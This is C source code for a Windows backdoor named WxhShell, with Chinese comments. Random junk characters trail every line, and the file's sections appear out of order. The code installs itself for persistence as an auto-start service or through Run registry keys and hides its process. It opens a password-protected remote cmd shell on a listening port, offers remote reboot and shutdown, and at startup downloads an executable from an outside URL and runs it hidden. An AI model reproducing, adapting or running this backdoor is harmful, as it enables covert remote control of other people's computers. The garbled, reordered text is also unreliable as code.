    if(Boot(SHUTDOWN)) ~ xXB !K~C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p?d Ma_ g  
    else { DVCc^5#  
    closesocket(wsh); `T~M:\^D  
    ExitThread(0); m =opY~&h  
    } @9QHv  
    break; =fRP9`y  
    } A70_hhP  
  // 获取shell n#x{~oQc  
  case 's': { P~]BB.tog  
    CmdShell(wsh); (-~tb-  
    closesocket(wsh); OS \co :  
    ExitThread(0); sG^b_3o)A  
    break; S&]JY  
  } c| p eRO.  
  // 退出 `;i| %$TU  
  case 'x': { IOfo]p-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v3~,1)#aI  
    CloseIt(wsh); z3a te^PJF  
    break; Q <78< #I  
    } H:0-.a^ZS  
  // 离开 <'s1+^LC  
  case 'q': { 5M*ZZ+YX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P;A"`Il  
    closesocket(wsh); Rfgc^3:j  
    WSACleanup(); !7}5"j ;A  
    exit(1); i:W oT4  
    break;  {kmaMP  
        } .4?M.Z4[  
  } G19FSLrtA  
  } {Y IVHl  
;rk}\M$+  
  // 提示信息 JfC.U,7Nc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d)dIIzv  
} [KCh,'&  
  } EJL45R>  
;r`[6[AG  
  return; dqG+hh^  
} N7Ne  
A #ZaXu/:X  
// shell模块句柄 $`]<4I9d  
int CmdShell(SOCKET sock) TmO\!`  
{ FJ#V"|}  
STARTUPINFO si; qQVqS7 t  
ZeroMemory(&si,sizeof(si)); lW7kBCsz#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g#Yqw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `uGX/yQ#=  
PROCESS_INFORMATION ProcessInfo; xb1)ZJH  
char cmdline[]="cmd"; abI[J]T9G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >~XX'}  
  return 0; 'jmcS0f -  
} UpB7hA  
sPbtv[bC  
// 自身启动模式 cZ o]*Gv.  
int StartFromService(void) EmY8AN(*  
{ KWXJ[#E<W  
typedef struct \`4}h[  
{ m>UJ; F  
  DWORD ExitStatus; b_][Jye&P  
  DWORD PebBaseAddress; 9}3W0F;  
  DWORD AffinityMask; zW+Y{^hf  
  DWORD BasePriority; MA"iM+Ar  
  ULONG UniqueProcessId; xazh8X0P  
  ULONG InheritedFromUniqueProcessId; &Vl,x/  
}   PROCESS_BASIC_INFORMATION; 'OJXllGi  
Nz$O D_]  
PROCNTQSIP NtQueryInformationProcess; m#8KCZS  
12cfqIo9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `&0?e-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )[zyvU. J3  
2X6y^f';\  
  HANDLE             hProcess; ]4hXK!^Uu  
  PROCESS_BASIC_INFORMATION pbi; J'2R-CI,  
VX;u54hS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yP[GU| >(  
  if(NULL == hInst ) return 0; i 0L7`TB  
RV&2y=eb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )\^%w9h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hRA.u'M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bt.W_p  
@#o$~'my  
  if (!NtQueryInformationProcess) return 0; i|=}zR  
V&GFGds  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *~fN^{B'!  
  if(!hProcess) return 0; Up/1c:<J  
k&^Megcb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -3KB:K<  
4"7Qz z  
  CloseHandle(hProcess); e {c.4'q  
w*bVBuX s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zBc7bbK  
if(hProcess==NULL) return 0; g"zk14'  
x<= ;=893  
HMODULE hMod; iUl{_vb  
char procName[255]; # &M  
unsigned long cbNeeded; Jl5<9x  
rJNf&x%6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hefV0)4K  
8uCd|dJ  
  CloseHandle(hProcess); OFUN hbg  
{5_*f)$[H  
if(strstr(procName,"services")) return 1; // 以服务启动 0<>iMrD  
)8iDjNM<  
  return 0; // 注册表启动 )bcMKZ   
} h` n>6I  
-Fl3m  
// 主模块 Xi0/Wb h\  
int StartWxhshell(LPSTR lpCmdLine) X\$M _b>O  
{ t_j.@|/FZ  
  SOCKET wsl; 8#oF7eE  
BOOL val=TRUE; V-X n&s  
  int port=0; Pu*st=KGB  
  struct sockaddr_in door; TyK; q{  
~I'Z=Wo  
  if(wscfg.ws_autoins) Install(); Ex*g>~e  
,e>ugI_;*  
port=atoi(lpCmdLine); Rx'7tff%I  
VK|!aqA{b  
if(port<=0) port=wscfg.ws_port; AJmS1 B  
^_<pc|1  
  WSADATA data; NS&~n^*k<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; se)I2T{J  
Je?V']lm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _IY)<'d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =jG3wf*  
  door.sin_family = AF_INET; .b]oB_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 525xm"Bs  
  door.sin_port = htons(port); :ss9-  
m\~[^H~g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >U) ,^H(  
closesocket(wsl); a%-Yl%#  
return 1; 3^`bf=R  
} zZE?G:isR  
c=| a\\  
  if(listen(wsl,2) == INVALID_SOCKET) { TZHqn6  
closesocket(wsl); 0,/[r/=jT  
return 1; ' u0{h  
} ,p 'M@[  
  Wxhshell(wsl); V];RQWs  
  WSACleanup(); _VMJq9.  
zR5D)`Ph   
return 0; Xt~/8)&  
IjrTM{f  
} "#JoB X@yE  
wTTQIo 60  
// 以NT服务方式启动 d3 N %V.w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =l_eliM/  
{ |a"(Ds2U  
DWORD   status = 0; k}<mmKB  
  DWORD   specificError = 0xfffffff; 0\ gE^=o[  
C3memimN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9PR&/Q F5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s ^}V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^\wosB3E  
  serviceStatus.dwWin32ExitCode     = 0; yBr{nFOgdY  
  serviceStatus.dwServiceSpecificExitCode = 0; GvVuFS>y  
  serviceStatus.dwCheckPoint       = 0; g6*}& .&  
  serviceStatus.dwWaitHint       = 0; dk3\~m%Pv  
km3-Hp1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xr?r3Y~^e  
  if (hServiceStatusHandle==0) return; ,Qh4=+jwqn  
eq/s8]uM  
status = GetLastError(); i?|SC=  
  if (status!=NO_ERROR) AM}OL Hj  
{ t>b^S,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e~}+.B0  
    serviceStatus.dwCheckPoint       = 0; B$lbp03z  
    serviceStatus.dwWaitHint       = 0; */S ,CV  
    serviceStatus.dwWin32ExitCode     = status; dA_s7),  
    serviceStatus.dwServiceSpecificExitCode = specificError; /evh.S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oF3#]6`;/  
    return; "fmJ;W;#1  
  } E*'O))  
*]H ./a:1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "w7:{E5e  
  serviceStatus.dwCheckPoint       = 0; L Xx 3  
  serviceStatus.dwWaitHint       = 0; MZ+"Arzb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nH_A`m3%/  
} #G\)ZheG  
gReaFnm  
// 处理NT服务事件,比如:启动、停止 iE&`F hf?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WIhf*LF"  
{ r<0 .!j%c  
switch(fdwControl) S ":-5S6  
{ 5\a5^FK~  
case SERVICE_CONTROL_STOP: 2[:`w),.  
  serviceStatus.dwWin32ExitCode = 0; _mn4z+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LAvAjvRc  
  serviceStatus.dwCheckPoint   = 0; PSy=O\  
  serviceStatus.dwWaitHint     = 0; 7aU*7!U  
  { 6Es-{u(,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [}VEDx  
  } ]V9\4#I4  
  return; 1f~D Uku=  
case SERVICE_CONTROL_PAUSE: c8u&ev.U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +XIN-8  
  break; *D9QwQ _|  
case SERVICE_CONTROL_CONTINUE: )X7ZX#ttH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E]e6a^J#  
  break; \"uR&D  
case SERVICE_CONTROL_INTERROGATE: TQ>1u  
  break; @ 8SYV}0H  
}; ?vk&k(FT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :VP4:J^  
} {f-O~P<Z4  
fub04x)  
// 标准应用程序主函数 y@~ VE5N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0)d='3S  
{ T{Xd>  
u*2?Gky  
// 获取操作系统版本 mTtaqo_Bh  
OsIsNt=GetOsVer(); E Ou[X'gLr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \DujF>:  
r'{N_|:vv  
  // 从命令行安装 6?[P^{GpH  
  if(strpbrk(lpCmdLine,"iI")) Install(); !xck ~EAS  
|3e+ K.  
  // 下载执行文件 ]?1_.Wjtt  
if(wscfg.ws_downexe) { zTB&Wlt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O$6&4p*F.  
  WinExec(wscfg.ws_filenam,SW_HIDE); \OkZ\!<hg  
} Gl'G;F$Y-  
T}^3Re`i  
if(!OsIsNt) { &j1-Ouy  
// 如果时win9x,隐藏进程并且设置为注册表启动 dX/7n=  
HideProc(); ZtO$kK%q;  
StartWxhshell(lpCmdLine); a r8iuwfZ  
} q( ~rk  
else [nig^8  
  if(StartFromService()) ^4 $4x  
  // 以服务方式启动 ;&CLb`<y  
  StartServiceCtrlDispatcher(DispatchTable); RVm-0[m}  
else /Z?o%/bw:  
  // 普通方式启动 =U*D.p*%f  
  StartWxhshell(lpCmdLine); V5ZC2H  
RN-gZ{AW  
return 0; u@e.5_:S)  
} gC2}?nq*  
*V',@NH#Os  
uT, i&  
B@M9oNWHu  
=========================================== (CIcM3|9C  
f:+/= MW  
7OmT^jV2  
\78^ O  
}ZVond$y4  
3ArHaAv{y  
" GgY8\>u  
LXX('d  
#include <stdio.h> Hj r'C?[  
#include <string.h> R]%"YQ V  
#include <windows.h> kE<CuO  
#include <winsock2.h> 50 Gr\  
#include <winsvc.h> &P9fM-]b s  
#include <urlmon.h> ZH\t0YhrVe  
td7(444]  
#pragma comment (lib, "Ws2_32.lib") RD[P|4eY  
#pragma comment (lib, "urlmon.lib") RBf#5VjOG!  
*nU5PSs  
#define MAX_USER   100 // 最大客户端连接数 })^eaLBR4  
#define BUF_SOCK   200 // sock buffer %]I#]jR  
#define KEY_BUFF   255 // 输入 buffer  4 Pc-A  
Q /?`);  
#define REBOOT     0   // 重启 F_:zR,P%#  
#define SHUTDOWN   1   // 关机 <$-^^b(y  
bdstxjJ`  
#define DEF_PORT   5000 // 监听端口 jw{N#QDh  
0,RYO :`  
#define REG_LEN     16   // 注册表键长度 D^O[_/i&  
#define SVC_LEN     80   // NT服务名长度 p*lP9[7  
J@/4CSCR]  
// 从dll定义API $,by!w'e:l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); id9QfJ9t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PI%l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kbb!2`F!%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i kfJ!f  
0=HB!{ @  
// wxhshell配置信息 9*s8%pL  
struct WSCFG { 1 jB0gNe  
  int ws_port;         // 监听端口 u|}\Af  
  char ws_passstr[REG_LEN]; // 口令 `Z,WKus  
  int ws_autoins;       // 安装标记, 1=yes 0=no q]: 72+  
  char ws_regname[REG_LEN]; // 注册表键名 79>x/jZka  
  char ws_svcname[REG_LEN]; // 服务名 M5:.\0_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TfZM0Wz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L^t%p1R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3_  J'+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DDkN3\w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +3. 9)w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9~Sa7P  
el5Pe{j '  
}; V.`hk^V,  
&q|vvF<G  
// default Wxhshell configuration ku m@cA  
struct WSCFG wscfg={DEF_PORT, I-!7 EC2{!  
    "xuhuanlingzhe", >4wigc  
    1, 9U<WR*H  
    "Wxhshell", Td|,3 n  
    "Wxhshell", }Y!V3s1bm  
            "WxhShell Service", |GQq:MB;z  
    "Wrsky Windows CmdShell Service", Te}gmt+#%  
    "Please Input Your Password: ", UNb7WN  
  1, X~VI}dJ  
  "http://www.wrsky.com/wxhshell.exe", axC{azo|  
  "Wxhshell.exe" -'miM ~kG[  
    }; [x 7Rq_^  
h *;c"/7  
// 消息定义模块 -5og)ZGVUA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 83vZRQw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *bpN!2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qfT9g>EF  
char *msg_ws_ext="\n\rExit."; ;C*2Djb*n  
char *msg_ws_end="\n\rQuit."; fsOlg9  
char *msg_ws_boot="\n\rReboot..."; *%jXjTA0D  
char *msg_ws_poff="\n\rShutdown..."; BKTTta1mY  
char *msg_ws_down="\n\rSave to "; Y~*p27@fR  
<fBJ@>  
char *msg_ws_err="\n\rErr!"; STu(I\9  
char *msg_ws_ok="\n\rOK!"; *sp")h#Z  
~H\P0G5GA  
char ExeFile[MAX_PATH]; -]KgLgJ  
int nUser = 0; aO1.9! <v  
HANDLE handles[MAX_USER]; 7<70\ 6  
int OsIsNt; D#'CRJh;7  
*j83E[(]  
SERVICE_STATUS       serviceStatus; J ##a;6@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `_LQs9J0J  
oVk!C a  
// 函数声明 lW-G]V  
int Install(void); n+=7u[AZi  
int Uninstall(void); Oq<3&*  
int DownloadFile(char *sURL, SOCKET wsh); >,zU=I?9Y  
int Boot(int flag); .sit5BX  
void HideProc(void); kPy7e~  
int GetOsVer(void); ;ja~Q .}4  
int Wxhshell(SOCKET wsl); (&*Bl\YoX  
void TalkWithClient(void *cs); IW n G@!  
int CmdShell(SOCKET sock); $H@   
int StartFromService(void); V+sZ;$  
int StartWxhshell(LPSTR lpCmdLine); kS{k=V&hf_  
$U ._4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E5S(1Z}]p{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .DwiIr'  
H{E(=S  
// 数据结构和表定义 ^0_>  
SERVICE_TABLE_ENTRY DispatchTable[] = *cFGDQ !  
{ 2vUcSKG7  
{wscfg.ws_svcname, NTServiceMain}, c9H6\&  
{NULL, NULL} >9nVR  
}; ]D@aMC$#  
ok,O/|E}?  
// 自我安装 ~^Al#@  
int Install(void) K;THYMp/[  
{ 5<GeAW8ns]  
  char svExeFile[MAX_PATH]; C-49u<; ,  
  HKEY key; o\tw)_ >  
  strcpy(svExeFile,ExeFile); uHf1b?W  
c9uu4%KG6<  
// 如果是win9x系统,修改注册表设为自启动 Pt-mLINvG  
if(!OsIsNt) { @CR<&^s5V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pj56,qd>s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }n^}%GB  
  RegCloseKey(key); MftaT5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o|84yT!~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vd.XZ*}r*  
  RegCloseKey(key); 5' t9/8i  
  return 0; xV`)?hEXFh  
    } U;ujN8  
  } *.$ov<E.  
} 'Q7t5v@FF  
else {  5B1,,8P  
k|]l2zlT  
// 如果是NT以上系统,安装为系统服务 [D?xd/G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C_[ d  
if (schSCManager!=0) kot KKs   
{ _wg~5'w8  
  SC_HANDLE schService = CreateService mT j  
  ( +N~{6*@uz,  
  schSCManager,  .;vd  
  wscfg.ws_svcname, \8{Tj54NA  
  wscfg.ws_svcdisp, TFbF^Kd#:d  
  SERVICE_ALL_ACCESS, [m x}n+~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /f. ,xs!  
  SERVICE_AUTO_START, w3fD6$  
  SERVICE_ERROR_NORMAL, (/> yfL]J  
  svExeFile, BlqfST#6  
  NULL, L^s?EqLXS  
  NULL, g*9&3ov  
  NULL, E[CvxVCx  
  NULL, YSZ[~?+  
  NULL S]&i<V1qX  
  ); |CS&H2!s  
  if (schService!=0) s.Mrd~(Drz  
  { >NpW$P{'  
  CloseServiceHandle(schService); `Sj8IxO  
  CloseServiceHandle(schSCManager); z;0]T=g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (hY^E(D  
  strcat(svExeFile,wscfg.ws_svcname); eEmLl(Lb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1mEW]z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zb9vUxN [  
  RegCloseKey(key); Oh}@c~7;  
  return 0; M9yqJPS}B  
    } 1-!|_<EW1  
  } [h\_yU[ P  
  CloseServiceHandle(schSCManager); =Y3d~~  
} w6B`_Z'f  
} `lO/I+8  
}u5J<*:bZ  
return 1; R,zp&L  
} giN(wPgYP  
5kv]k?   
// 自我卸载 yg4ILL  
int Uninstall(void) n;dWb$:  
{ NXE1v~9V  
  HKEY key; O#U_mgfzJ  
/hyCR___  
if(!OsIsNt) { WN#dR~>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pb :6nH=  
  RegDeleteValue(key,wscfg.ws_regname); Lr>4~1:`  
  RegCloseKey(key); KkHlMwv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rn whkb&&  
  RegDeleteValue(key,wscfg.ws_regname); %cMayCaI!@  
  RegCloseKey(key); AkqGk5e ^  
  return 0; ><@& &u.  
  } JAL"On#c#0  
} `,wX&@sN  
} Od]wh  
else { %A( hmC  
Q[Tbdc%1EG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); piiO5fK|  
if (schSCManager!=0) #+3I$ k  
{ )4/UzR$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &-Z#+>=H(  
  if (schService!=0) RKz _GEH)  
  { 3dI(gm6  
  if(DeleteService(schService)!=0) { R2[ }  
  CloseServiceHandle(schService); bNz2Uo!0K  
  CloseServiceHandle(schSCManager); dU"C=c(w\  
  return 0; (pQ$<c  
  } <=~'Pd-f(  
  CloseServiceHandle(schService); ]h&?^L<.  
  } 7o M]qLF  
  CloseServiceHandle(schSCManager); %u$dN9cw  
} f]^ @z<FC  
} 7)3cq}]O  
e-o$bf%  
return 1; ; >>/}Jw\  
} |.U- yyz  
X1h*.reFAL  
// 从指定url下载文件 fm,:8%  
int DownloadFile(char *sURL, SOCKET wsh) u]Y NF[]  
{ N_8L8ds5  
  HRESULT hr; kC6s_k  
char seps[]= "/"; 27jZ~Bp$  
char *token; %^8>=  
char *file; @sb00ad2q  
char myURL[MAX_PATH]; evGUSol?:n  
char myFILE[MAX_PATH]; ,}42]%$ G  
|teDe6 \m  
strcpy(myURL,sURL); F30jr6F\  
  token=strtok(myURL,seps); ]z/  
  while(token!=NULL) &28n1  
  { @-qC".CI  
    file=token; / k8;k56  
  token=strtok(NULL,seps); d "vd_}P~  
  } ma4r/8Q  
5B=Wnau  
GetCurrentDirectory(MAX_PATH,myFILE); uv dx>5]  
strcat(myFILE, "\\"); =Hs~fHa)  
strcat(myFILE, file); > 'KQL?!F  
  send(wsh,myFILE,strlen(myFILE),0); 5Bc)QKh`l|  
send(wsh,"...",3,0); 6Bm2_B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h?:Y\DlU'  
  if(hr==S_OK) 0=J69Yd  
return 0; zoBjrAyD  
else V_7xXuM/  
return 1; IyA8+N y  
?|9$o/Q}  
} D+  **o  
{ e %  
// 系统电源模块 8m"5J-uIi  
int Boot(int flag) DWH)<\?  
{ >(HUW^T/9z  
  HANDLE hToken; W(tXq  
  TOKEN_PRIVILEGES tkp; U!x\oLP  
$yb8..+  
  if(OsIsNt) { NeyGIEP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cx/duod p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 57b;{kl  
    tkp.PrivilegeCount = 1; Gu_Rf&:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T {lJ[M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]g; K_>@  
if(flag==REBOOT) { bqg\V8h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g)iSC?H  
  return 0; BPd]L=,/  
} )FqE8oN-  
else { ;3_Q7;y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *H RxC  
  return 0;  93(  
} ),6Z1 K1  
  } rbP3&L  
  else { p8^^Pva/  
if(flag==REBOOT) { #Y*AGxk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K~WwV8c9;  
  return 0; 3^us;aOr  
} zj;y`ENj  
else { Z{n7z$s*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |T"{q  
  return 0; {w^flizY  
} [P{Xg:0  
} Dx[t?-  
y K&)H+v  
return 1; W:>RstbnMG  
} WiviH#hF  
cY>;(x@  
// win9x进程隐藏模块 s}9aZ  
void HideProc(void) }Gz"og*8  
{ TniZ!ud  
]@ [=FK^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m x,X!}  
  if ( hKernel != NULL ) Qg _?..%  
  { <ZrZSt+<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Krq^|DY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r%'2a+}D  
    FreeLibrary(hKernel); 3G8uXB_`}  
  } `u-VGd\  
*G~c6B Z  
return; +dh]k=6  
} ($W9 ?  
ak;Z;  
// 获取操作系统版本 i]$7w! r&  
int GetOsVer(void) h=4{.EegG&  
{ V`WfJ>{;Z  
  OSVERSIONINFO winfo; vPwDV_zk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ohM'Fx"q  
  GetVersionEx(&winfo); 3^su%z_%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iy: ;g  
  return 1; kx UGd)S  
  else #t(?8!F  
  return 0; LbYI{|_Js  
} PUYo >eB)0  
[bOy, ^@4  
// 客户端句柄模块 v*BA\&  
int Wxhshell(SOCKET wsl) w pCS]2  
{ ci^-0l_O  
  SOCKET wsh; Ol%*3To  
  struct sockaddr_in client; 7_Q86o  
  DWORD myID; MA-$aN_(  
$0W0+A$  
  while(nUser<MAX_USER) @g=A\2  
{ DU7Ki6  
  int nSize=sizeof(client); x)* /3[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (wY% $kW4  
  if(wsh==INVALID_SOCKET) return 1; >Ia(g0  
q3P3euK3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [ $"iO#oO  
if(handles[nUser]==0) 9vj:=,TNu  
  closesocket(wsh); *r% mqAx(  
else !eTS PM  
  nUser++;  7:p]~eM)  
  } TwhK>HN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8DI|+`OgW  
P`%ppkzV6  
  return 0; /pge7P  
} a "1$z`ln  
/1>  
// 关闭 socket D&^:hs@  
void CloseIt(SOCKET wsh) 0,A?*CO  
{ .BUl$RW|  
closesocket(wsh); P< &/$x6  
nUser--; h1gb&?w5P  
ExitThread(0); d!LV@</  
} 'OihA^e  
GB+d0 S4  
// 客户端请求句柄 =Fs LF  
void TalkWithClient(void *cs) uHIWbF<0oo  
{ y;>I'e  
h9-Ky@X`  
  SOCKET wsh=(SOCKET)cs; ?^!dLW  
  char pwd[SVC_LEN]; gdZVc9 _  
  char cmd[KEY_BUFF]; #&:nkzd  
char chr[1]; V$_0VN'+Z  
int i,j; /uc/x+(_  
).boe& .  
  while (nUser < MAX_USER) { ii2Z }qe  
JS:lysu  
if(wscfg.ws_passstr) { "PHv~_:^R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9}mp,egV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y,>m#6hx#  
  //ZeroMemory(pwd,KEY_BUFF); UKBMGzu2:  
      i=0;  0EB'!  
  while(i<SVC_LEN) { 8{l=`y"nB  
&sgwY  
  // 设置超时 /t^lI%&  
  fd_set FdRead; 4Qo1f5 >N  
  struct timeval TimeOut; dtBV0$  
  FD_ZERO(&FdRead); '9dtIW6E  
  FD_SET(wsh,&FdRead); yfW^wyDd2o  
  TimeOut.tv_sec=8; 9C 05  
  TimeOut.tv_usec=0; 7EO&:b]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  e C{Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _Xv/S_yW  
i+Dgw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bLzuaNa'  
  pwd=chr[0]; )89jP088V  
  if(chr[0]==0xd || chr[0]==0xa) { ~b[4'm@  
  pwd=0; u_"h/)C'H  
  break; pdHb  
  } z{jAt6@7  
  i++; eM"mP&TTL  
    } F?ebY k1  
NXNon*"  
  // 如果是非法用户,关闭 socket ;wxt<   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oI~Qo*4eh  
} SkA'+(  
mX?{2[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Umt ia~x=&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ve1] ECk  
&FVlTo1  
while(1) { o)=VPUe  
I yN9 +  
  ZeroMemory(cmd,KEY_BUFF); ({VBp[Mh  
an`(?6d  
      // 自动支持客户端 telnet标准   PI \,`^)y  
  j=0; hUxhYOp  
  while(j<KEY_BUFF) { -b}S3<15@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;_a oM&  
  cmd[j]=chr[0]; RbM~E~$  
  if(chr[0]==0xa || chr[0]==0xd) { JW [\"`x!  
  cmd[j]=0; B/hHkOoo  
  break; 8#u_+;,p  
  } %d J>8.jW@  
  j++; MEnHC'nI  
    } C+?s~JL  
I=y j  
  // 下载文件 )o</gt)  
  if(strstr(cmd,"http://")) { UjOhaj "h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PjW+V`  
  if(DownloadFile(cmd,wsh)) m Ap|?n/K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p-r%MnT  
  else 08?MS_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {4aY}= -Q*  
  } ]"g >>N  
  else { \g1@A"  
,wi=!KzX  
    switch(cmd[0]) { Z"|P(]A  
  arQ %  
  // 帮助 7XWBI\SW  
  case '?': { ^MHn2Cv/~  
